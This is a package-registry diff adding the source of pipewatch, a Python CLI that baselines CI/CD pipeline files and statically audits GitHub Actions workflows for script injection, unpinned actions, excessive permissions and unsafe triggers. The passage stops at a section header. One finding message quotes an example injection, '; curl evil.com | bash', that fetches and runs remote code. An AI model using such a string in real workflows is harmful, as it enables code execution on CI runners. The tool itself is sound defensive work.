pipewatch-cli 0.2.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
pipewatch.py ADDED
@@ -0,0 +1,1147 @@
1
+ """
2
+ pipewatch v0.2.0 — Integrity monitoring and static analysis for CI/CD pipelines
3
+
4
+
5
+ Usage:
6
+ pipewatch baseline # record HEAD as known-good
7
+ pipewatch scan # file diff + step fingerprints vs baseline
8
+ pipewatch pin-audit # flag unpinned GitHub Actions references
9
+ pipewatch static # static analysis — no baseline required
10
+ pipewatch snapshot # capture runner environment to JSON
11
+ pipewatch env-diff <file> # diff two runner environment snapshots
12
+ pipewatch audit # full audit: all checks combined
13
+ pipewatch init-runner # print runner monitoring step block
14
+ """
15
+
16
+ from __future__ import annotations
17
+
18
+ import argparse
19
+ import difflib
20
+ import hashlib
21
+ import hmac as _hmac_mod
22
+ import json
23
+ import os
24
+ import re
25
+ import shutil
26
+ import subprocess
27
+ import sys
28
+ import urllib.error
29
+ import urllib.request
30
+ from dataclasses import dataclass, field
31
+ from datetime import datetime, timezone
32
+ from pathlib import Path
33
+ from typing import Optional
34
+
35
+ import yaml
36
+
37
+ __version__ = "0.2.0"
38
+
39
+ _BASELINE_FILE = ".pipewatch_baseline"
40
+ _SNAPSHOT_FILE = ".pipewatch_env_snapshot.json"
41
+ _SHA_RE = re.compile(r"^[0-9a-f]{40}$|^[0-9a-f]{64}$", re.IGNORECASE)
42
+ _STEP_FIELDS = ("uses", "run", "with", "env", "shell")
43
+ _TRACKED_TOOLS = [
44
+ "python3", "python", "node", "npm", "pip", "pip3",
45
+ "git", "curl", "wget", "docker", "kubectl", "terraform", "aws", "gcloud", "az",
46
+ ]
47
+ _IGNORE_VARS: frozenset[str] = frozenset({
48
+ "GITHUB_RUN_ID", "GITHUB_RUN_NUMBER", "GITHUB_SHA", "GITHUB_REF",
49
+ "GITHUB_REF_NAME", "GITHUB_REF_TYPE", "GITHUB_HEAD_REF", "GITHUB_BASE_REF",
50
+ "GITHUB_EVENT_NAME", "GITHUB_ACTOR", "GITHUB_ACTION", "GITHUB_JOB",
51
+ "RUNNER_TEMP", "RUNNER_WORKSPACE", "GITHUB_WORKSPACE",
52
+ "HOME", "TMPDIR", "TMP", "TEMP", "PWD", "_", "TERM", "SHLVL", "OLDPWD",
53
+ })
54
+ # Env var names matching this pattern are excluded from snapshots to prevent
55
+ # writing credentials (tokens, keys, passwords) to disk or the cache store.
56
+ _CREDENTIAL_VAR_RE = re.compile(
57
+ r"(token|secret|key|password|passwd|pwd|auth|credential|private|api_key)",
58
+ re.IGNORECASE,
59
+ )
60
+ _SEV_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4}
61
+ _ANSI = {
62
+ "HIGH": "\033[91m", "CRITICAL": "\033[91m", "MEDIUM": "\033[93m",
63
+ "LOW": "\033[94m", "INFO": "\033[0m", "RESET": "\033[0m",
64
+ }
65
+
66
+ # Static analysis patterns
67
+ _DANGEROUS_CTX = re.compile(
68
+ r"\$\{\{[^}]*("
69
+ r"github\.event\.pull_request\.(title|body|head\.ref|head\.label)"
70
+ r"|github\.event\.issue\.(title|body)"
71
+ r"|github\.event\.comment\.body"
72
+ r"|github\.event\.discussion\.(title|body)"
73
+ r"|github\.event\.review\.body"
74
+ r"|github\.event\.review_comment\.body"
75
+ r"|github\.head_ref"
76
+ r")[^}]*\}\}",
77
+ re.IGNORECASE,
78
+ )
79
+ _GH_HOSTED = re.compile(r"^(ubuntu|windows|macos)", re.IGNORECASE)
80
+ _UNSAFE_TRIGGERS = frozenset({
81
+ "pull_request", "issues", "issue_comment",
82
+ "pull_request_review", "pull_request_review_comment",
83
+ })
84
+ _GITLAB_RESERVED = frozenset({
85
+ "stages", "variables", "include", "default", "workflow",
86
+ "image", "services", "before_script", "after_script", "cache", "artifacts",
87
+ })
88
+
89
+ # Jenkinsfile patterns (best-effort — Groovy DSL has no Python parser)
90
+ _JENKINS_STAGE = re.compile(r"stage\s*\(\s*['\"]([^'\"]+)['\"]\s*\)")
91
+ _JENKINS_SH = re.compile(
92
+ r"\b(?:sh|bat)\s+(?:script:\s*)?(?:'''(.*?)'''|\"\"\"(.*?)\"\"\"|'([^']*)'|\"([^\"]*)\")",
93
+ re.DOTALL,
94
+ )
95
+
96
+
97
+ # ── pipeline file discovery ───────────────────────────────────────────────────
98
+
99
+ def find_pipeline_files(repo: Path) -> list[Path]:
100
+ found = []
101
+ for subdir, pat in [(".github/workflows", "*.yml"), (".github/workflows", "*.yaml")]:
102
+ base = repo / subdir
103
+ if base.exists():
104
+ found.extend(base.glob(pat))
105
+ for name in ("Jenkinsfile", ".gitlab-ci.yml", ".gitlab-ci.yaml"):
106
+ p = repo / name
107
+ if p.exists():
108
+ found.append(p)
109
+ return found
110
+
111
+
112
+ def _is_pipeline_path(path: str) -> bool:
113
+ p = Path(path)
114
+ if p.name in ("Jenkinsfile", ".gitlab-ci.yml", ".gitlab-ci.yaml"):
115
+ return True
116
+ return (len(p.parts) >= 3 and p.parts[0] == ".github"
117
+ and p.parts[1] == "workflows" and p.suffix in (".yml", ".yaml"))
118
+
119
+
120
+ # ── git helpers ───────────────────────────────────────────────────────────────
121
+
122
+ def git_show(repo: Path, commit: str, path: str) -> Optional[str]:
123
+ r = subprocess.run(["git", "show", f"{commit}:{path}"],
124
+ cwd=repo, capture_output=True, text=True)
125
+ return r.stdout if r.returncode == 0 else None
126
+
127
+
128
+ def git_head(repo: Path) -> str:
129
+ r = subprocess.run(["git", "rev-parse", "HEAD"],
130
+ cwd=repo, capture_output=True, text=True)
131
+ sha = r.stdout.strip()
132
+ if not sha:
133
+ sys.exit("error: could not determine HEAD commit")
134
+ return sha
135
+
136
+
137
+ def git_deleted_pipeline_files(repo: Path, commit: str) -> list[str]:
138
+ r = subprocess.run(
139
+ ["git", "diff", "--name-status", commit, "HEAD", "--diff-filter=D"],
140
+ cwd=repo, capture_output=True, text=True)
141
+ return [line.split("\t", 1)[1] for line in r.stdout.splitlines()
142
+ if "\t" in line and _is_pipeline_path(line.split("\t", 1)[1])]
143
+
144
+
145
+ # ── differ ────────────────────────────────────────────────────────────────────
146
+
147
+ @dataclass
148
+ class FileDiff:
149
+ path: str
150
+ status: str
151
+ diff_lines: list[str] = field(default_factory=list)
152
+ baseline_commit: Optional[str] = None
153
+
154
+
155
+ def diff_pipeline_files(repo: Path, baseline: str) -> list[FileDiff]:
156
+ results = []
157
+ for fpath in find_pipeline_files(repo):
158
+ rel = str(fpath.relative_to(repo))
159
+ current = fpath.read_text(encoding="utf-8", errors="replace")
160
+ base = git_show(repo, baseline, rel)
161
+ if base is None:
162
+ results.append(FileDiff(rel, "added", list(difflib.unified_diff(
163
+ [], current.splitlines(keepends=True),
164
+ fromfile=f"{rel} (not in baseline)", tofile=f"{rel} (current)")),
165
+ baseline))
166
+ elif base != current:
167
+ results.append(FileDiff(rel, "modified", list(difflib.unified_diff(
168
+ base.splitlines(keepends=True), current.splitlines(keepends=True),
169
+ fromfile=f"{rel} @ {baseline}", tofile=f"{rel} (current)")),
170
+ baseline))
171
+ for path in git_deleted_pipeline_files(repo, baseline):
172
+ results.append(FileDiff(path, "deleted", baseline_commit=baseline))
173
+ return results
174
+
175
+
176
+ # ── step fingerprinting ───────────────────────────────────────────────────────
177
+
178
+ def hash_step(step: dict) -> str:
179
+ """Hash the security-relevant fields of a GitHub Actions step."""
180
+ canon = json.dumps({k: step[k] for k in _STEP_FIELDS if k in step}, sort_keys=True)
181
+ return hashlib.sha256(canon.encode()).hexdigest()[:16]
182
+
183
+
184
+ def _hash_content(content) -> str:
185
+ """Hash arbitrary content (for GitLab CI / Jenkinsfile where field names vary)."""
186
+ return hashlib.sha256(json.dumps(content, sort_keys=True).encode()).hexdigest()[:16]
187
+
188
+
189
+ def _fingerprints(content: str) -> dict[tuple[str, int], tuple[Optional[str], str]]:
190
+ """GitHub Actions: {(job, step_index): (step_name, fingerprint)}"""
191
+ try:
192
+ doc = yaml.safe_load(content)
193
+ except yaml.YAMLError:
194
+ return {}
195
+ if not isinstance(doc, dict):
196
+ return {}
197
+ out = {}
198
+ for job, job_def in (doc.get("jobs") or {}).items():
199
+ if not isinstance(job_def, dict):
200
+ continue
201
+ for idx, step in enumerate(job_def.get("steps") or []):
202
+ if isinstance(step, dict):
203
+ out[(str(job), idx)] = (step.get("name"), hash_step(step))
204
+ return out
205
+
206
+
207
+ def _fingerprints_gitlab(content: str) -> dict[tuple[str, int], tuple[Optional[str], str]]:
208
+ """GitLab CI: top-level jobs, fingerprint before_script/script/after_script blocks."""
209
+ try:
210
+ doc = yaml.safe_load(content)
211
+ except yaml.YAMLError:
212
+ return {}
213
+ if not isinstance(doc, dict):
214
+ return {}
215
+ out = {}
216
+ for job_name, job_def in doc.items():
217
+ if job_name.startswith(".") or job_name in _GITLAB_RESERVED:
218
+ continue
219
+ if not isinstance(job_def, dict):
220
+ continue
221
+ for idx, block_name in enumerate(("before_script", "script", "after_script")):
222
+ if block_name in job_def:
223
+ out[(str(job_name), idx)] = (
224
+ block_name,
225
+ _hash_content(job_def[block_name]),
226
+ )
227
+ return out
228
+
229
+
230
+ def _fingerprints_jenkinsfile(content: str) -> dict[tuple[str, int], tuple[Optional[str], str]]:
231
+ """Jenkinsfile: best-effort regex extraction of stage/sh/bat blocks."""
232
+ out = {}
233
+ stages = list(_JENKINS_STAGE.finditer(content))
234
+ for i, stage_match in enumerate(stages):
235
+ stage_name = stage_match.group(1)
236
+ start = stage_match.start()
237
+ end = stages[i + 1].start() if i + 1 < len(stages) else len(content)
238
+ chunk = content[start:end]
239
+ commands = []
240
+ for m in _JENKINS_SH.finditer(chunk):
241
+ cmd = next((g for g in m.groups() if g is not None), "")
242
+ commands.append(cmd.strip())
243
+ out[(stage_name, 0)] = (stage_name, _hash_content({"run": commands, "stage": stage_name}))
244
+ return out
245
+
246
+
247
+ @dataclass
248
+ class StepChange:
249
+ path: str
250
+ job: str
251
+ step_index: int
252
+ step_name: Optional[str]
253
+ baseline_fp: Optional[str]
254
+ current_fp: Optional[str]
255
+ status: str
256
+
257
+
258
+ def _fps_for_file(fpath: Path, rel: str, content: str) -> dict:
259
+ if fpath.name == "Jenkinsfile":
260
+ return _fingerprints_jenkinsfile(content)
261
+ if fpath.name in (".gitlab-ci.yml", ".gitlab-ci.yaml"):
262
+ return _fingerprints_gitlab(content)
263
+ return _fingerprints(content)
264
+
265
+
266
+ def diff_fingerprints(repo: Path, baseline: str) -> list[StepChange]:
267
+ changes = []
268
+ for fpath in find_pipeline_files(repo):
269
+ rel = str(fpath.relative_to(repo))
270
+ current_content = fpath.read_text(encoding="utf-8", errors="replace")
271
+ base_content = git_show(repo, baseline, rel)
272
+ cur = _fps_for_file(fpath, rel, current_content)
273
+ bas = _fps_for_file(fpath, rel, base_content) if base_content else {}
274
+ for key in sorted(set(cur) | set(bas)):
275
+ c, b = cur.get(key), bas.get(key)
276
+ if b is None:
277
+ changes.append(StepChange(rel, key[0], key[1], c[0] if c else None,
278
+ None, c[1] if c else None, "added"))
279
+ elif c is None:
280
+ changes.append(StepChange(rel, key[0], key[1], b[0], b[1], None, "removed"))
281
+ elif c[1] != b[1]:
282
+ changes.append(StepChange(rel, key[0], key[1], c[0], b[1], c[1], "modified"))
283
+ return changes
284
+
285
+
286
+ # ── static analysis ───────────────────────────────────────────────────────────
287
+
288
+ def _load_workflow_docs(repo: Path) -> dict[str, dict]:
289
+ """Load all GitHub Actions workflow files → {rel_path: parsed_doc}
290
+
291
+ Both glob patterns are collected before iterating so that a file with an
292
+ unusual double extension (if it ever appeared) would simply overwrite its
293
+ first entry — the last parse wins, which is fine for our purposes.
294
+ A file can only match one extension pattern, so duplicates cannot arise in
295
+ practice; the combined list is safe to iterate without a duplicate guard.
296
+ """
297
+ docs = {}
298
+ wf_dir = repo / ".github" / "workflows"
299
+ if not wf_dir.exists():
300
+ return docs
301
+ for fpath in list(wf_dir.glob("*.yml")) + list(wf_dir.glob("*.yaml")):
302
+ rel = str(fpath.relative_to(repo))
303
+ try:
304
+ doc = yaml.safe_load(fpath.read_text(encoding="utf-8", errors="replace"))
305
+ if isinstance(doc, dict):
306
+ docs[rel] = doc
307
+ except (yaml.YAMLError, OSError):
308
+ continue
309
+ return docs
310
+
311
+
312
+ def _get_triggers(doc: dict) -> dict:
313
+ """Parse `on:` block — PyYAML parses the bare `on` key as boolean True."""
314
+ on = doc.get("on") or doc.get(True) or {}
315
+ if isinstance(on, str):
316
+ return {on: {}}
317
+ if isinstance(on, list):
318
+ return {t: {} for t in on}
319
+ return on if isinstance(on, dict) else {}
320
+
321
+
322
+ def _check_pr_target_misuse(docs: dict[str, dict]) -> list[dict]:
323
+ """Flag pull_request_target workflows that check out and execute PR head code."""
324
+ findings = []
325
+ # Anchor with $ so this doesn't match actions/checkout-something-else.
326
+ checkout_re = re.compile(r"actions/checkout(@[^@]+)?$")
327
+ pr_head_re = re.compile(r"github\.event\.pull_request\.head|github\.head_ref", re.IGNORECASE)
328
+ for path, doc in docs.items():
329
+ if "pull_request_target" not in _get_triggers(doc):
330
+ continue
331
+ for job_name, job_def in (doc.get("jobs") or {}).items():
332
+ if not isinstance(job_def, dict):
333
+ continue
334
+ for idx, step in enumerate(job_def.get("steps") or []):
335
+ if not isinstance(step, dict):
336
+ continue
337
+ if not checkout_re.match(step.get("uses", "")):
338
+ continue
339
+ with_block = json.dumps(step.get("with") or {})
340
+ if pr_head_re.search(with_block):
341
+ findings.append(_finding(
342
+ f"PW-PRT-{len(findings)+1:03d}", "HIGH",
343
+ "pull_request_target_misuse",
344
+ f"pull_request_target checks out PR head: {path}::{job_name}::step[{idx}]",
345
+ "pull_request_target runs with write permissions against the base branch. "
346
+ "Checking out and executing PR head code hands arbitrary code execution to "
347
+ "the PR author — this is the pattern behind numerous CI poisoning attacks.",
348
+ f"{path}::{job_name}::step[{idx}]",
349
+ f"uses={step.get('uses')} with={with_block[:120]}",
350
+ ))
351
+ return findings
352
+
353
+
354
+ def _check_script_injection(docs: dict[str, dict]) -> list[dict]:
355
+ """Flag run: blocks and env: blocks that route untrusted user-controlled context values
356
+ into shell commands. The env: vector is classic: set an env var from a user-controlled
357
+ context value, then expand $VAR inside the run: block — no ${{ }} in the run: block
358
+ itself, but still fully attacker-controlled.
359
+ """
360
+ findings = []
361
+ for path, doc in docs.items():
362
+ for job_name, job_def in (doc.get("jobs") or {}).items():
363
+ if not isinstance(job_def, dict):
364
+ continue
365
+ for idx, step in enumerate(job_def.get("steps") or []):
366
+ if not isinstance(step, dict):
367
+ continue
368
+
369
+ # Check run: block for direct context interpolation.
370
+ run_matches: list = []
371
+ if "run" in step:
372
+ run_matches = _DANGEROUS_CTX.findall(str(step["run"]))
373
+
374
+ # Check env: block — user-controlled value bound to an env var
375
+ # that the run: block may then expand via $VAR / %VAR%.
376
+ env_matches: list = []
377
+ env_block = step.get("env")
378
+ if isinstance(env_block, dict):
379
+ env_matches = _DANGEROUS_CTX.findall(json.dumps(env_block))
380
+
381
+ all_matches = run_matches + env_matches
382
+ if not all_matches:
383
+ continue
384
+
385
+ sources = sorted(set(
386
+ m[0] if isinstance(m, tuple) else m for m in all_matches
387
+ ))
388
+ vectors = []
389
+ if run_matches:
390
+ vectors.append("run:")
391
+ if env_matches:
392
+ vectors.append("env: (routed to shell via environment variable)")
393
+
394
+ findings.append(_finding(
395
+ f"PW-INJ-{len(findings)+1:03d}", "HIGH",
396
+ "script_injection",
397
+ f"Script injection risk: {path}::{job_name}::step[{idx}]",
398
+ "A user-controlled context value is interpolated into a shell command "
399
+ "(directly in run: or via an env: variable). An attacker can craft a "
400
+ "PR title, issue body, or branch name containing "
401
+ "`; curl evil.com | bash` to execute arbitrary code. "
402
+ f"Injection vector(s): {', '.join(vectors)}",
403
+ f"{path}::{job_name}::step[{idx}]",
404
+ f"dangerous expressions found: {sources}",
405
+ ))
406
+ return findings
407
+
408
+
409
+ def _check_permissions(docs: dict[str, dict]) -> list[dict]:
410
+ """Audit top-level and per-job permissions blocks."""
411
+ findings = []
412
+ for path, doc in docs.items():
413
+ top_perms = doc.get("permissions")
414
+ if top_perms is None:
415
+ findings.append(_finding(
416
+ f"PW-PERM-{len(findings)+1:03d}", "MEDIUM",
417
+ "permissions",
418
+ f"No permissions block: {path}",
419
+ "Without an explicit permissions block the workflow inherits the repository's "
420
+ "default — which may grant write access to all scopes. "
421
+ "Declare the minimum required permissions explicitly.",
422
+ path,
423
+ "add: permissions: read-all (or scope each permission individually)",
424
+ ))
425
+ elif top_perms == "write-all":
426
+ findings.append(_finding(
427
+ f"PW-PERM-{len(findings)+1:03d}", "HIGH",
428
+ "permissions",
429
+ f"permissions: write-all in {path}",
430
+ "write-all grants write access to every scope. "
431
+ "Scope permissions to the minimum each job actually needs.",
432
+ path,
433
+ ))
434
+ for job_name, job_def in (doc.get("jobs") or {}).items():
435
+ if not isinstance(job_def, dict):
436
+ continue
437
+ job_perms = job_def.get("permissions")
438
+ if job_perms == "write-all":
439
+ findings.append(_finding(
440
+ f"PW-PERM-{len(findings)+1:03d}", "HIGH",
441
+ "permissions",
442
+ f"Job permissions: write-all in {path}::{job_name}",
443
+ f"Job '{job_name}' has permissions: write-all.",
444
+ f"{path}::{job_name}",
445
+ ))
446
+ elif isinstance(job_perms, dict):
447
+ write_scopes = [k for k, v in job_perms.items() if v in ("write", "admin")]
448
+ if write_scopes:
449
+ findings.append(_finding(
450
+ f"PW-PERM-{len(findings)+1:03d}", "HIGH",
451
+ "permissions",
452
+ f"Job has write-scoped permissions: {path}::{job_name}",
453
+ f"Job '{job_name}' grants write access to: {write_scopes}. "
454
+ "Scope each permission to the minimum the job actually needs.",
455
+ f"{path}::{job_name}",
456
+ f"write scopes: {write_scopes}",
457
+ ))
458
+ if job_def.get("secrets") == "inherit":
459
+ findings.append(_finding(
460
+ f"PW-PERM-{len(findings)+1:03d}", "MEDIUM",
461
+ "permissions",
462
+ f"secrets: inherit in {path}::{job_name}",
463
+ f"Job '{job_name}' passes all secrets to a called workflow. "
464
+ "Pass only the specific secrets each called workflow needs.",
465
+ f"{path}::{job_name}",
466
+ ))
467
+ return findings
468
+
469
+
470
+ def _check_self_hosted(docs: dict[str, dict]) -> list[dict]:
471
+ """Flag jobs running on self-hosted runners."""
472
+ _EXPR_RE = re.compile(r"\$\{\{") # expression syntax — can't be statically resolved
473
+
474
+ findings = []
475
+ for path, doc in docs.items():
476
+ for job_name, job_def in (doc.get("jobs") or {}).items():
477
+ if not isinstance(job_def, dict):
478
+ continue
479
+ runs_on = job_def.get("runs-on", "")
480
+ is_self_hosted = False
481
+ if isinstance(runs_on, list):
482
+ # Skip lists that contain expression elements — matrix builds,
483
+ # dynamic runner selection, etc. can't be resolved statically.
484
+ if any(_EXPR_RE.search(str(r)) for r in runs_on):
485
+ continue
486
+ is_self_hosted = "self-hosted" in runs_on or any(
487
+ not _GH_HOSTED.match(str(r)) for r in runs_on if isinstance(r, str)
488
+ )
489
+ elif isinstance(runs_on, str) and runs_on:
490
+ # Skip expression-based values like ${{ matrix.os }} or ${{ inputs.runner }}.
491
+ if _EXPR_RE.search(runs_on):
492
+ continue
493
+ is_self_hosted = not _GH_HOSTED.match(runs_on)
494
+ if is_self_hosted:
495
+ findings.append(_finding(
496
+ f"PW-RUNNER-{len(findings)+1:03d}", "INFO",
497
+ "self_hosted_runner",
498
+ f"Self-hosted runner: {path}::{job_name}",
499
+ f"Job '{job_name}' runs on '{runs_on}'. Self-hosted runners are not ephemeral, "
500
+ "not managed by GitHub, and may persist state between runs. "
501
+ "All other findings in this job carry elevated risk.",
502
+ f"{path}::{job_name}",
503
+ f"runs-on: {runs_on}",
504
+ ))
505
+ return findings
506
+
507
+
508
+ def _check_workflow_run_chains(docs: dict[str, dict]) -> list[dict]:
509
+ """Flag workflow_run triggers that chain write-permissioned workflows to unsafe sources."""
510
+ findings = []
511
+ # Map workflow name (or filename stem) → set of trigger names
512
+ name_to_triggers: dict[str, set[str]] = {}
513
+ for path, doc in docs.items():
514
+ triggers = set(_get_triggers(doc).keys())
515
+ name = doc.get("name") or Path(path).stem
516
+ name_to_triggers[name] = triggers
517
+ name_to_triggers[path] = triggers # also index by path
518
+
519
+ for path, doc in docs.items():
520
+ triggers = _get_triggers(doc)
521
+ if "workflow_run" not in triggers:
522
+ continue
523
+ wr_config = triggers.get("workflow_run") or {}
524
+ triggered_by = wr_config.get("workflows", []) if isinstance(wr_config, dict) else []
525
+
526
+ def _perms_has_write(perms) -> bool:
527
+ return (
528
+ perms == "write-all"
529
+ or (isinstance(perms, dict)
530
+ and any(v in ("write", "admin") for v in perms.values()))
531
+ )
532
+
533
+ top_perms = doc.get("permissions")
534
+ workflow_has_write = _perms_has_write(top_perms)
535
+
536
+ # Collect job names that have write access — either inherited from a
537
+ # write-permissioned top-level block or explicitly set at the job level.
538
+ write_jobs: list[str] = []
539
+ for job_name, job_def in (doc.get("jobs") or {}).items():
540
+ if not isinstance(job_def, dict):
541
+ continue
542
+ job_perms = job_def.get("permissions")
543
+ if job_perms is None:
544
+ # Inherits top-level — flagged if top-level is write
545
+ if workflow_has_write:
546
+ write_jobs.append(job_name)
547
+ elif _perms_has_write(job_perms):
548
+ write_jobs.append(job_name)
549
+
550
+ has_write = bool(write_jobs) or (workflow_has_write and not doc.get("jobs"))
551
+
552
+ for source_name in triggered_by:
553
+ source_triggers = name_to_triggers.get(source_name, set())
554
+ unsafe = source_triggers & _UNSAFE_TRIGGERS
555
+ if unsafe and has_write:
556
+ findings.append(_finding(
557
+ f"PW-CHAIN-{len(findings)+1:03d}", "HIGH",
558
+ "workflow_run_chain",
559
+ f"Unsafe workflow_run chain: {path}",
560
+ f"'{path}' runs on workflow_run triggered by '{source_name}', "
561
+ f"which responds to {sorted(unsafe)}. "
562
+ "This workflow has write permissions, creating a privilege escalation path: "
563
+ "a PR from an untrusted fork can indirectly trigger write-permissioned code.",
564
+ path,
565
+ f"source={source_name} source_triggers={sorted(unsafe)} "
566
+ f"write_jobs={write_jobs or ['(top-level)']}",
567
+ ))
568
+ return findings
569
+
570
+
571
+ def static_analysis(repo: Path) -> list[dict]:
572
+ """Run all static checks that don't require a baseline commit."""
573
+ docs = _load_workflow_docs(repo)
574
+ return (
575
+ _check_pr_target_misuse(docs)
576
+ + _check_script_injection(docs)
577
+ + _check_permissions(docs)
578
+ + _check_self_hosted(docs)
579
+ + _check_workflow_run_chains(docs)
580
+ )
581
+
582
+
583
+ # ── pinning audit ─────────────────────────────────────────────────────────────
584
+
585
+ @dataclass
586
+ class PinningFinding:
587
+ path: str
588
+ job: str
589
+ step_index: int
590
+ step_name: Optional[str]
591
+ uses_ref: str
592
+ recommendation: str
593
+
594
+
595
+ def _is_sha_pinned(ref: str) -> bool:
596
+ _, _, pin = ref.rpartition("@")
597
+ return bool(_SHA_RE.match(pin))
598
+
599
+
600
+ def audit_pinning(repo: Path) -> list[PinningFinding]:
601
+ findings = []
602
+ for fpath in find_pipeline_files(repo):
603
+ if fpath.suffix not in (".yml", ".yaml"):
604
+ continue
605
+ rel = str(fpath.relative_to(repo))
606
+ try:
607
+ doc = yaml.safe_load(fpath.read_text(encoding="utf-8", errors="replace"))
608
+ except (yaml.YAMLError, OSError):
609
+ continue
610
+ if not isinstance(doc, dict):
611
+ continue
612
+ for job, job_def in (doc.get("jobs") or {}).items():
613
+ if not isinstance(job_def, dict):
614
+ continue
615
+ for idx, step in enumerate(job_def.get("steps") or []):
616
+ if not isinstance(step, dict) or "uses" not in step:
617
+ continue
618
+ ref: str = step["uses"]
619
+ if ref.startswith("./") or ("@" in ref and _is_sha_pinned(ref)):
620
+ continue
621
+ action = ref.split("@")[0] if "@" in ref else ref
622
+ tag = ref.split("@")[1] if "@" in ref else "unversioned"
623
+ findings.append(PinningFinding(
624
+ rel, str(job), idx, step.get("name"), ref,
625
+ f"uses: {action}@<sha> # {tag}\n"
626
+ f" https://github.com/{action}/commits",
627
+ ))
628
+ return findings
629
+
630
+
631
+ def _verify_commit_exists(owner: str, repo_name: str, sha: str, token: Optional[str]) -> bool:
632
+ """Return False only if GitHub's API returns 404 for this commit."""
633
+ url = f"https://api.github.com/repos/{owner}/{repo_name}/git/commits/{sha}"
634
+ headers = {
635
+ "Accept": "application/vnd.github.v3+json",
636
+ "User-Agent": f"pipewatch/{__version__}",
637
+ }
638
+ if token:
639
+ headers["Authorization"] = f"Bearer {token}"
640
+ try:
641
+ req = urllib.request.Request(url, headers=headers)
642
+ with urllib.request.urlopen(req, timeout=10) as resp:
643
+ return resp.status == 200
644
+ except urllib.error.HTTPError as e:
645
+ return e.code != 404
646
+ except Exception:
647
+ return True # network unavailable — don't raise false positives
648
+
649
+
650
+ def verify_pinned_shas(repo: Path, token: Optional[str] = None) -> list[dict]:
651
+ """
652
+ For each SHA-pinned action, verify the commit exists in that repo via GitHub API.
653
+ Opt-in: pass --verify-shas. Rate limit: 60 req/hr unauthenticated, 5000 with --token.
654
+
655
+ API calls are deduplicated (one call per unique owner/repo+SHA pair), but a finding
656
+ is emitted for *every* affected step so callers see the full blast radius of a
657
+ compromised or deleted commit.
658
+ """
659
+ findings = []
660
+ # Cache API results: (owner/repo, sha) → bool (True = exists / inconclusive)
661
+ verified: dict[tuple[str, str], bool] = {}
662
+
663
+ for fpath in find_pipeline_files(repo):
664
+ if fpath.suffix not in (".yml", ".yaml"):
665
+ continue
666
+ try:
667
+ doc = yaml.safe_load(fpath.read_text(encoding="utf-8", errors="replace"))
668
+ except (yaml.YAMLError, OSError):
669
+ continue
670
+ if not isinstance(doc, dict):
671
+ continue
672
+
673
+ rel = str(fpath.relative_to(repo))
674
+ for job, job_def in (doc.get("jobs") or {}).items():
675
+ if not isinstance(job_def, dict):
676
+ continue
677
+ for idx, step in enumerate(job_def.get("steps") or []):
678
+ if not isinstance(step, dict) or "uses" not in step:
679
+ continue
680
+ ref: str = step["uses"]
681
+ if ref.startswith("./") or "@" not in ref or not _is_sha_pinned(ref):
682
+ continue
683
+ action, _, sha = ref.rpartition("@")
684
+ parts = action.split("/")
685
+ if len(parts) < 2:
686
+ continue
687
+ owner, repo_name = parts[0], parts[1]
688
+ key = (f"{owner}/{repo_name}", sha)
689
+ if key not in verified:
690
+ verified[key] = _verify_commit_exists(owner, repo_name, sha, token)
691
+ if not verified[key]:
692
+ findings.append(_finding(
693
+ f"PW-SHA-{len(findings)+1:03d}", "HIGH",
694
+ "invalid_pinned_sha",
695
+ f"Pinned SHA not found in repo: {ref}",
696
+ f"Commit {sha[:8]}... does not exist in {owner}/{repo_name}. "
697
+ "This may be a typo, a SHA from a fork, or a deleted commit.",
698
+ f"{rel}::{job}::step[{idx}]",
699
+ f"checked: GET /repos/{owner}/{repo_name}/git/commits/{sha}",
700
+ ))
701
+ return findings
702
+
703
+
704
+ # ── runner environment ────────────────────────────────────────────────────────
705
+
706
+ @dataclass
707
+ class EnvSnapshot:
708
+ timestamp: str
709
+ environment: dict[str, str]
710
+ tool_versions: dict[str, Optional[str]]
711
+
712
+
713
+ @dataclass
714
+ class EnvDiff:
715
+ new_vars: dict[str, str] = field(default_factory=dict)
716
+ removed_vars: list[str] = field(default_factory=list)
717
+ changed_vars: dict[str, tuple[str, str]] = field(default_factory=dict)
718
+ new_tools: list[str] = field(default_factory=list)
719
+ removed_tools: list[str] = field(default_factory=list)
720
+ changed_tool_versions: dict[str, tuple[Optional[str], Optional[str]]] = field(default_factory=dict)
721
+
722
+ def is_empty(self) -> bool:
723
+ return not any([self.new_vars, self.removed_vars, self.changed_vars,
724
+ self.new_tools, self.removed_tools, self.changed_tool_versions])
725
+
726
+
727
+ def _tool_version(tool: str) -> Optional[str]:
728
+ if not shutil.which(tool):
729
+ return None
730
+ try:
731
+ r = subprocess.run([tool, "--version"], capture_output=True, text=True, timeout=5)
732
+ return (r.stdout or r.stderr or "").splitlines()[0].strip()[:120]
733
+ except Exception:
734
+ return "(present — version unavailable)"
735
+
736
+
737
+ def capture_snapshot() -> EnvSnapshot:
738
+ return EnvSnapshot(
739
+ timestamp=datetime.now(timezone.utc).isoformat(),
740
+ environment={
741
+ k: v for k, v in os.environ.items()
742
+ if k not in _IGNORE_VARS and not _CREDENTIAL_VAR_RE.search(k)
743
+ },
744
+ tool_versions={t: _tool_version(t) for t in _TRACKED_TOOLS},
745
+ )
746
+
747
+
748
+ def save_snapshot(snap: EnvSnapshot, path: Path) -> None:
749
+ path.write_text(json.dumps({"timestamp": snap.timestamp,
750
+ "environment": snap.environment,
751
+ "tool_versions": snap.tool_versions}, indent=2))
752
+
753
+
754
+ def load_snapshot(path: Path) -> EnvSnapshot:
755
+ d = json.loads(path.read_text())
756
+ return EnvSnapshot(d["timestamp"], d["environment"], d["tool_versions"])
757
+
758
+
759
+ def diff_snapshots(base: EnvSnapshot, cur: EnvSnapshot) -> EnvDiff:
760
+ diff = EnvDiff()
761
+ for k, v in cur.environment.items():
762
+ if k not in base.environment:
763
+ diff.new_vars[k] = v
764
+ elif base.environment[k] != v:
765
+ diff.changed_vars[k] = (base.environment[k], v)
766
+ diff.removed_vars = [k for k in base.environment if k not in cur.environment]
767
+ for tool in _TRACKED_TOOLS:
768
+ old, new = base.tool_versions.get(tool), cur.tool_versions.get(tool)
769
+ if old is None and new is not None:
770
+ diff.new_tools.append(tool)
771
+ elif old is not None and new is None:
772
+ diff.removed_tools.append(tool)
773
+ elif old != new and old is not None:
774
+ diff.changed_tool_versions[tool] = (old, new)
775
+ return diff
776
+
777
+
778
+ # ── tamper-evident baseline ───────────────────────────────────────────────────
779
+
780
